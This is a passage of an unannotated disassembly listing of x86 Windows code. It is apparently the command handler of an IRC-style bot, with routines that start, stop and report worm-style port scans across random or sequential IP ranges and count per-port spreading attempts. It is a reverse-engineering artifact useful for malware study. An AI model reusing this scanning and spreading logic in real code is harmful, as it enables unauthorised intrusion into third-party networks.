; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4225B0 proc near ; CODE XREF: sub_4019ABj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40182A
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4225B0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4225E0 proc near ; CODE XREF: sub_401631j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401A78
pop ecx
retn 4
sub_4225E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422600 proc near ; CODE XREF: sub_401E60j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401F9B
pop ecx
retn 4
sub_422600 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422620 proc near ; CODE XREF: sub_401A2Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_42263B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_42263B: ; CODE XREF: sub_422620+11j
retn
sub_422620 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422650 proc near ; CODE XREF: sub_40201Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_422650
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 19h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422691
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_401677
loc_422691: ; CODE XREF: sub_422650+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_422650 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4226E0 proc near ; CODE XREF: sub_401ED3j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4226E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 15h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422721
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_4014C9
loc_422721: ; CODE XREF: sub_4226E0+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_4226E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422750 proc near ; CODE XREF: sub_401A78j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
call sub_4019BA
retn
sub_422750 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422770 proc near ; CODE XREF: sub_401F9Bj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
mov eax, [ecx]
call dword ptr [eax]
retn
sub_422770 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422790 proc near ; CODE XREF: sub_401677j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push edi
call sub_4014C9
mov eax, [edi+15h]
pop edi
mov [esi+15h], eax
mov eax, esi
pop esi
retn 4
sub_422790 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4227C0 proc near ; CODE XREF: sub_4019BAj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A6E
test [esp+4+arg_0], 1
jz short loc_4227D8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_4227D8: ; CODE XREF: sub_4227C0+Dj
mov eax, esi
pop esi
retn 4
sub_4227C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4227F0 proc near ; CODE XREF: sub_401AE1j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4227F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 9
push 3
push 4Fh
push 16h
push 4
lea eax, [esp+60h+var_3C]
push 1
mov esi, ecx
push eax
mov dword_4D5FCB, offset aAsn ; "asn"
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+8D008h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_4227F0 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea edx, [esp+2Ch]
push 1
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+8D036h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 0Eh
push 1
push 3
lea ecx, [esp+2Ch]
push 13h
push ecx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+8D064h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea eax, [esp+2Ch]
push 1
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+8D092h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 10h
push 14h
lea edx, [esp+44h]
push 6
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
add esi, 8D0C0h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422A40 proc near ; CODE XREF: sub_40138Ej
var_78D = byte ptr -78Dh
var_78C = dword ptr -78Ch
var_788 = byte ptr -788h
var_780 = dword ptr -780h
var_770 = byte ptr -770h
var_760 = byte ptr -760h
var_6E0 = byte ptr -6E0h
var_660 = dword ptr -660h
var_65C = dword ptr -65Ch
var_658 = dword ptr -658h
var_654 = dword ptr -654h
var_650 = dword ptr -650h
var_644 = dword ptr -644h
var_640 = dword ptr -640h
var_638 = dword ptr -638h
var_634 = dword ptr -634h
var_630 = dword ptr -630h
var_624 = byte ptr -624h
var_60C = byte ptr -60Ch
var_40C = byte ptr -40Ch
var_20C = byte ptr -20Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_422A40
push eax
mov large fs:0, esp
sub esp, 784h
push ebx
push ebp
push esi
mov esi, [esp+79Ch+arg_0]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+8D008h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422B0A
push 3
call sub_401483
add esp, 4
test eax, eax
jle short loc_422ADD
push 3
call sub_401D8E
mov eax, dword_50BB90[eax*8]
add esp, 4
push eax
nop
call near ptr 71AB3F41h
push eax
push offset aScanCipS ; "scan: cip (%s)"
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 18h
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_422ADD: ; CODE XREF: sub_422A40+52j
lea ecx, [esi+2Ah]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push offset aScanNotStarted ; "scan: not started"
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_422B0A: ; CODE XREF: sub_422A40+40j
lea ecx, [ebp+8D0C0h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422BB0
mov edi, dword_4D63B0
push offset asc_443600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 0
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov ebx, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
cmp edi, ebx
jl loc_4231BD
mov edx, dword_44768F
push edi
push edx
push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_422BB0: ; CODE XREF: sub_422A40+DFj
lea ecx, [ebp+8D064h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_422C30
push eax
push 3
call sub_401D93
add esp, 8
test eax, eax
jle short loc_422C05
push eax
push offset aScanStoppedDTh ; "scan: stopped (%d threads)"
lea ecx, [esi+2Ah]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
jmp loc_422E39
; ---------------------------------------------------------------------------
loc_422C05: ; CODE XREF: sub_422A40+194j
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aScanCouldnTSto ; "scan: couldn't stop"
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
jmp loc_422E39
; ---------------------------------------------------------------------------
loc_422C30: ; CODE XREF: sub_422A40+185j
lea ecx, [ebp+8D036h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
mov edi, dword_50FB08
test eax, eax
jnz loc_422CDE
push 3
call sub_401483
add esp, 4
mov ebx, eax
lea eax, [esp+7A0h+var_788]
mov ecx, esi
push offset asc_443600 ; " "
push 2
push eax
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 1
call sub_4017E4
push eax
call edi ; atoi
add eax, ebx
add esp, 4
cmp eax, 1F4h
lea ecx, [esp+7A0h+var_788]
setnle [esp+7A0h+var_78D]
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov al, [esp+7A0h+var_78D]
test al, al
jz loc_422E56
push ebx
push offset aScanTooManyThr ; "scan: too many threads (%s)"
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_422CDE: ; CODE XREF: sub_422A40+20Bj
lea ecx, [ebp+8D092h]
call sub_4014D3
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_422E39
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_624]
push 1
push eax
mov ecx, esi
xor ebx, ebx
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 0Ah
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_624]
mov edi, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, dword_444448
mov [esp+7A0h+var_78D], bl
test eax, eax
jz short loc_422D69
mov eax, offset dword_444448
loc_422D55: ; CODE XREF: sub_422A40+327j
cmp [eax+8], edi
jb short loc_422D5F
mov [esp+7A0h+var_78D], 1
loc_422D5F: ; CODE XREF: sub_422A40+318j
mov ecx, [eax+3Ch]
add eax, 3Ch
test ecx, ecx
jnz short loc_422D55
loc_422D69: ; CODE XREF: sub_422A40+30Ej
mov ebp, off_50FBF0
lea ecx, [esp+7A0h+var_60C]
push offset aScanStats ; "scan: stats:"
push ecx
call ebp ; sub_5EE1E5
mov eax, dword_444448
add esp, 8
test eax, eax
jz short loc_422DCF
mov edi, offset dword_444450
loc_422D8F: ; CODE XREF: sub_422A40+38Dj
mov eax, [edi]
lea edx, [edi-26h]
add ebx, eax
push eax
push edx
lea eax, [esp+7A8h+var_40C]
push offset aSD ; " %s: %d,"
push eax
call ebp ; sub_5EE1E5
lea ecx, [esp+7B0h+var_40C]
push 200h
lea edx, [esp+7B4h+var_60C]
push ecx
push edx
nop
call near ptr 77C47920h
mov eax, [edi+34h]
add edi, 3Ch
add esp, 1Ch
test eax, eax
jnz short loc_422D8F
loc_422DCF: ; CODE XREF: sub_422A40+348j
push ebx
lea eax, [esp+7A4h+var_40C]
push offset aTotalD ; " total: %d"
push eax
call ebp ; sub_5EE1E5
lea ecx, [esp+7ACh+var_40C]
push 200h
lea edx, [esp+7B0h+var_60C]
push ecx
push edx
call near ptr 77C47920h
nop
mov al, [esp+7B8h+var_78D]
add esp, 18h
test al, al
jz short loc_422E29
xor eax, eax
lea ecx, [esp+7A0h+var_60C]
mov al, [esi+94h]
push eax
push ecx
lea ecx, [esi+2Ah]
call sub_4014D3
push eax
push 0
call sub_401523
add esp, 10h
loc_422E29: ; CODE XREF: sub_422A40+3C3j
lea edx, [esp+7A0h+var_60C]
push edx
call sub_4010D2
add esp, 4
loc_422E39: ; CODE XREF: sub_422A40+1C0j
; sub_422A40+1EBj ...
xor al, al
loc_422E3B: ; CODE XREF: sub_422A40+98j
; sub_422A40+C5j ...
mov ecx, [esp+7A0h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 790h
retn 4
; ---------------------------------------------------------------------------
loc_422E56: ; CODE XREF: sub_422A40+26Ej
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_788]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 2
call sub_4017E4
push eax
call edi ; atoi
or ebx, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_65C], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+7A4h+var_788]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ebp, 3
mov ecx, eax
mov [esp+7A0h+var_4], ebp
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_644], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+7A4h+var_788]
push ebp
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 4
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_658], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov eax, [esp+7A0h+var_658]
cmp eax, ebp
jnb short loc_422F33
mov [esp+7A0h+var_658], ebp
jmp short loc_422F43
; ---------------------------------------------------------------------------
loc_422F33: ; CODE XREF: sub_422A40+4E8j
cmp eax, 3Ch
jbe short loc_422F43
mov [esp+7A0h+var_658], 3Ch
loc_422F43: ; CODE XREF: sub_422A40+4F1j
; sub_422A40+4F6j
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_788]
push 4
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 5
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_654], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov ecx, [esp+7A0h+var_654]
mov eax, 960h
cmp ecx, eax
jbe short loc_422F9C
mov [esp+7A0h+var_654], eax
loc_422F9C: ; CODE XREF: sub_422A40+553j
mov eax, dword_444448
mov [esp+7A0h+var_640], ebx
test eax, eax
mov [esp+7A0h+var_78C], 0
jz loc_42306C
mov ebp, offset dword_444448
jmp short loc_422FC2
; ---------------------------------------------------------------------------
loc_422FBF: ; CODE XREF: sub_422A40+602j
or ebx, 0FFFFFFFFh
loc_422FC2: ; CODE XREF: sub_422A40+57Dj
push offset asc_443600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 6
call sub_4017E4
mov edi, eax
lea ecx, [ebp-28h]
loc_422FEC: ; CODE XREF: sub_422A40+5CAj
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_423010
test al, al
jz short loc_42300C
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_423010
add ecx, 2
add edi, 2
test al, al
jnz short loc_422FEC
loc_42300C: ; CODE XREF: sub_422A40+5B6j
xor eax, eax
jmp short loc_423014
; ---------------------------------------------------------------------------
loc_423010: ; CODE XREF: sub_422A40+5B2j
; sub_422A40+5C0j
sbb eax, eax
sbb eax, ebx
loc_423014: ; CODE XREF: sub_422A40+5CEj
test eax, eax
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz short loc_42304A
mov edx, [esp+7A0h+var_78C]
mov eax, [ebp+3Ch]
add ebp, 3Ch
inc edx
test eax, eax
mov [esp+7A0h+var_78C], edx
jnz loc_422FBF
jmp short loc_423069
; ---------------------------------------------------------------------------
loc_42304A: ; CODE XREF: sub_422A40+5EFj
mov ecx, [esp+7A0h+var_78C]
mov [esp+7A0h+var_640], ecx
lea eax, [ecx+ecx*2]
lea eax, [eax+eax*4]
mov edx, dword_444448[eax*4]
mov [esp+7A0h+var_65C], edx
loc_423069: ; CODE XREF: sub_422A40+608j
or ebx, 0FFFFFFFFh
loc_42306C: ; CODE XREF: sub_422A40+572j
mov eax, [esp+7A0h+var_65C]
test eax, eax
jnz short loc_42308A
lea ecx, [esi+2Ah]
call sub_4014D3
push eax
push offset aScanInvalidPor ; "scan: invalid port"
jmp loc_4231A5
; ---------------------------------------------------------------------------
loc_42308A: ; CODE XREF: sub_422A40+635j
push offset asc_443600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016AE
push offset dword_443DD4
mov ecx, eax
mov [esp+7A4h+var_4], 7
call sub_4013E3
lea ecx, [esp+7A0h+var_788]
mov edi, eax
mov [esp+7A0h+var_4], ebx
call sub_401226
test edi, edi
jz loc_423167
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_788]
push 5
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 8
call sub_4017E4
push eax
lea ecx, [esp+7A4h+var_770]
push 10h
push ecx
nop
call near ptr 77C3FA76h
add esp, 0Ch
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016AE
push 78h
mov ecx, eax
mov [esp+7A4h+var_4], 9
call sub_4017E4
push eax
nop
call near ptr 77C47660h
add esp, 8
lea ecx, [esp+7A0h+var_788]
neg eax
sbb eax, eax
mov [esp+7A0h+var_4], ebx
neg eax
mov [esp+7A0h+var_630], eax
call sub_401226
jmp loc_423296
; ---------------------------------------------------------------------------
loc_423167: ; CODE XREF: sub_422A40+688j
push offset dword_444584
mov ecx, esi
call sub_4013E3
test eax, eax
jnz short loc_4231C4
push offset off_444580
mov ecx, esi
call sub_4013E3
test eax, eax
jnz short loc_4231C4
push offset off_44457C
mov ecx, esi
call sub_4013E3
test eax, eax
jnz short loc_4231C4
lea ecx, [esi+2Ah]
call sub_4014D3
push eax
push offset aScanNoIpSpecif ; "scan: no ip specified"
loc_4231A5: ; CODE XREF: sub_422A40+645j
mov al, [esi+94h]
mov cl, [esi+93h]
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
loc_4231BD: ; CODE XREF: sub_422A40+132j
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_4231C4: ; CODE XREF: sub_422A40+735j
; sub_422A40+745j ...
mov ecx, dword_4D60CD
lea edx, [esp+7A0h+var_78C]
lea eax, [esp+7A0h+var_788]
push edx
push eax
push ecx
mov [esp+7ACh+var_78C], 10h
call near ptr 71AB951Eh
nop
push offset off_444580
mov ecx, esi
call sub_4013E3
mov edx, eax
mov eax, [esp+79Ch+var_780]
neg edx
sbb edx, edx
push 10h
and edx, 0FFFF0100h
add edx, 0FFFFh
and eax, edx
push eax
mov [esp+7A4h+var_780], eax
call near ptr 71AB3F41h
nop
push eax
lea eax, [esp+7A8h+var_770]
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
mov ecx, esi
push offset dword_444584
call sub_4013E3
test eax, eax
jz short loc_42328B
push offset off_444580
mov ecx, esi
call sub_4013E3
mov ebp, dword_50FA90
mov edi, eax
neg edi
sbb edi, edi
lea ecx, [esp+7A0h+var_770]
neg edi
push 30h
push ecx
add edi, 2
call ebp ; strrchr
add esp, 8
xor bl, bl
test edi, edi
jle short loc_42327E
loc_423262: ; CODE XREF: sub_422A40+83Cj
test eax, eax
jz short loc_42327E
lea edx, [esp+7A0h+var_770]
push 30h
push edx
mov byte ptr [eax], 78h
call ebp ; strrchr
add esp, 8
inc bl
movsx ecx, bl
cmp ecx, edi
jl short loc_423262
loc_42327E: ; CODE XREF: sub_422A40+820j
; sub_422A40+824j
mov [esp+7A0h+var_630], 1
jmp short loc_423296
; ---------------------------------------------------------------------------
loc_42328B: ; CODE XREF: sub_422A40+7F1j
mov [esp+7A0h+var_630], 0
loc_423296: ; CODE XREF: sub_422A40+722j
; sub_422A40+849j
mov edx, dword_4D60CD
xor eax, eax
mov al, [esi+93h]
lea edi, [esi+2Ah]
mov ecx, edi
mov [esp+7A0h+var_660], edx
mov [esp+7A0h+var_638], 0
mov [esp+7A0h+var_634], eax
call sub_4017E4
push eax
lea ecx, [esp+7A4h+var_760]
push 80h
push ecx
nop
call near ptr 77C3FA76h
mov eax, [esp+7ACh+var_630]
add esp, 0Ch
test eax, eax
mov [esp+7A0h+var_6E0], 0
mov eax, offset aRandom ; "random"
jnz short loc_4232F8
mov eax, offset aSequential ; "sequential"
loc_4232F8: ; CODE XREF: sub_422A40+8B1j
mov edx, [esp+7A0h+var_644]
mov ecx, [esp+7A0h+var_654]
push edx
mov edx, [esp+7A4h+var_658]
push ecx
mov ecx, [esp+7A8h+var_65C]
push edx
lea edx, [esp+7ACh+var_770]
push ecx
push edx
push eax
mov eax, [esp+7B8h+var_640]
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ecx, ds:44442Ah[eax*4]
push ecx
push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
mov ecx, edi
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
push 0
lea ecx, [esp+7D4h+var_20C]
push 3
push ecx
call sub_401BD6
add esp, 3Ch
lea edx, [esp+7A0h+var_770]
mov [esp+7A0h+var_650], eax
push edx
call sub_402261
mov al, 1
jmp loc_422E3B
sub_422A40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4235F0 proc near ; CODE XREF: sub_40114Fj
arg_A6 = dword ptr 0AAh
arg_AE = dword ptr 0B2h
mov ecx, [esp+arg_AE]
push ebx
test ecx, ecx
push offset byte_446F70
mov ecx, offset dword_447998
setnz bl
call sub_4014D3
push eax
push ebx
push ebx
push offset byte_4D60B5
call sub_401848
mov eax, [esp+18h+arg_A6]
add esp, 14h
lea eax, [eax+eax*2]
pop ebx
lea eax, [eax+eax*4]
mov ecx, dword_444450[eax*4]
inc ecx
mov dword_444450[eax*4], ecx
mov al, 1
retn
sub_4235F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423660 proc near ; CODE XREF: sub_401DF7j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 14h
xor eax, eax
lea ecx, [esp+14h+var_14]
mov [esp+14h+var_10], eax
lea edx, [esp+14h+var_10]
mov [esp+14h+var_C], eax
push ecx
mov [esp+18h+var_8], eax
push edx
mov [esp+1Ch+var_4], eax
mov eax, [esp+1Ch+arg_0]
push eax
mov [esp+20h+var_14], 10h
call near ptr 71AB951Eh
nop
mov ecx, [esp+14h+var_C+3]
mov edx, [esp+14h+var_C+2]
mov eax, [esp+14h+var_C+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+18h+var_C]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push offset dword_50DAE8
nop
call sub_5EE1E5
mov eax, offset dword_50DAE8
add esp, 2Ch
retn
sub_423660 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423720 proc near ; CODE XREF: sub_401F37j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, dword_50BB90[esi*8]
push eax
nop
call near ptr 71AB2BC0h
inc eax
push eax
nop
call near ptr 71AB2BC0h
mov dword_50BB90[esi*8], eax
pop esi
retn
sub_423720 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423760 proc near ; CODE XREF: sub_401131j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
mov edx, [esp+10h+arg_0]
push ebx
or ebx, 0FFFFFFFFh
push edi
mov edi, edx
mov ecx, ebx
xor eax, eax
mov [esp+18h+var_8], ebx
repne scasb
not ecx
dec ecx
mov [esp+18h+var_C], ebx
cmp ecx, 0Fh
mov [esp+18h+var_10], ebx
mov [esp+18h+var_4], ebx
jbe short loc_423792
pop edi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_423792: ; CODE XREF: sub_423760+2Aj
lea eax, [esp+18h+var_4]
push esi
lea ecx, [esp+1Ch+var_10]
push eax
push ecx
lea eax, [esp+24h+var_C]
lea ecx, [esp+24h+var_8]
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call near ptr 77C41B72h
mov eax, [esp+34h+var_8]
mov esi, dword_50FABC
add esp, 18h
cmp eax, ebx
jnz short loc_4237CA
call esi ; rand
mov [esp+1Ch+var_8], eax
loc_4237CA: ; CODE XREF: sub_423760+62j
cmp [esp+1Ch+var_C], ebx
jnz short loc_4237D6
call esi ; rand
mov [esp+1Ch+var_C], eax
loc_4237D6: ; CODE XREF: sub_423760+6Ej
cmp [esp+1Ch+var_10], ebx
jnz short loc_4237E2
call esi ; rand
mov [esp+1Ch+var_10], eax
loc_4237E2: ; CODE XREF: sub_423760+7Aj
mov eax, [esp+1Ch+var_4]
cmp eax, ebx
jnz short loc_4237EC
call esi ; rand
loc_4237EC: ; CODE XREF: sub_423760+88j
mov edi, [esp+1Ch+var_10]
mov edx, [esp+1Ch+var_C]
shl eax, 8
mov ecx, [esp+1Ch+arg_4]
add eax, edi
shl eax, 8
add eax, edx
mov edx, [esp+1Ch+var_8]
shl eax, 8
add eax, edx
pop esi
pop edi
mov dword_50BB90[ecx*8], eax
pop ebx
add esp, 10h
retn
sub_423760 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423850 proc near ; CODE XREF: sub_401E38j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = word ptr -114h
var_112 = word ptr -112h
var_110 = dword ptr -110h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
